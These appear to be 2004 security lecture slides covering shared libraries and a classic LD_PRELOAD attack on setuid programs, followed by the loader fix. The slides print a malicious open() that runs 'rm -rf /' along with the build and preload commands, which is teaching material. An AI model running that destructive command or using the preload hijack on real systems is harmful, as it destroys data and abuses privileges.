Paul Roberts, IDG News Service, 2004.10.18:

“Oracle pleads with customers to install August patches

“Oracle is warning customers to apply software patches it released in August, following the release of malicious code that exploits the holes.

“The company acknowledged in a recent security alert that it has received notification that there are published exploits for ‘some of the issues’ addressed in the alert. . . .

“In September, the US government’s Computer Emergency Response Team issued an alert about the flaws, noting that they could be used to shut down or take control of vulnerable systems running the software or to corrupt or steal data from the Oracle databases.

“Oracle strongly recommends affected customers apply the software patches ‘without delay’.”

Assignment due 2004.10.15: read textbook Chapter 6 pages 233–244.

Assignment due today: read textbook Chapter 6 pages 244–253.

Assignment due 2004.10.20: read textbook Chapter 6 pages 254–263.

Assignment due 2004.10.22: read textbook Chapter 6 pages 263–276.

History of shared libraries, part 1

Often two processes are running the same program:

process 152	system data
process 152	regs
process 152	text: `/bin/csh`
process 152	stack, heap, etc.
process 170	system data
process 170	regs
process 170	text: `/bin/csh`
process 170	stack, heap, etc.

`/bin/csh` is around 1 megabyte.
Each process has a copy of
`/bin/csh` in its RAM.
This uses 2 megabytes of
the computer's memory. Wasteful.

UNIX solution: Store both copies in
the same physical memory location.
(Processes cannot write to text.)

If 200 copies of `/bin/csh`
are running, they occupy only
1 megabyte of physical memory,
rather than 200 megabytes.

History of shared libraries, part 2

Often different programs
use the same library functions:

process 149	system data
process 149	regs
process 149	text: `xterm`
process 149	stack, heap, etc.
process 10551	system data
process 10551	regs
process 10551	text: `xclock`
process 10551	stack, heap, etc.

`xterm` and `xclock` both include
`sprintf()`, `XCreateGC()`, etc.

X functions such as `XCreateGC()`
occupy a large fraction of the memory
in `xterm` and `xclock`.
There are two copies of these
functions in memory, and on disk.
Wasteful. (In fact, hundreds of copies.)

Traditional UNIX response:
Well-designed software doesn't
have this kind of overlap.

There should be one `xwindow`
program with all these functions,
and tiny `xterm` and `xclock`
programs that talk to `xwindow`,
in the same way that a
tiny web server talks to a browser.

Basic idea of shared libraries:
Have the compiler try to do this
without help from the programmer.

Programmer merely specifies
a list of `xwindow` functions.

Compiler throws all those functions
into a new `xwindow` program;
changes `xterm`, `xclock`, etc.
to start `xwindow` before `main();`
and changes all the function calls
to talk to the `xwindow` program,
which actually calls the functions.

Many variations on this basic idea.
Many problems, especially with setuid.

Details of the shared-library attack

Joe creates a replacement `open()`:

```
joe% cat > myopen.c
int open()
{ system("rm -rf /"); }
joe% gcc -shared \
-o myopen.so myopen.c
```

Joe runs a setuid program:

```
joe% env \
LD_PRELOAD=‘pwd‘/myopen.so \
lpr
```

Before calling `main()`,
the setuid program tries to start
the official `libopen` program.

(Why is the official `open()`
in a shared library? Good question.)

Bug: because of `LD_PRELOAD`,
the program uses Joe's `myopen`
instead of the official `libopen`.

Joe's `open()` function
runs, removing all files,
as soon as the setuid program
calls the `open()` function.

Fix: the shared-library loader
ignores `LD_PRELOAD` when
`geteuid() != getuid()`,
i.e., when it is setuid.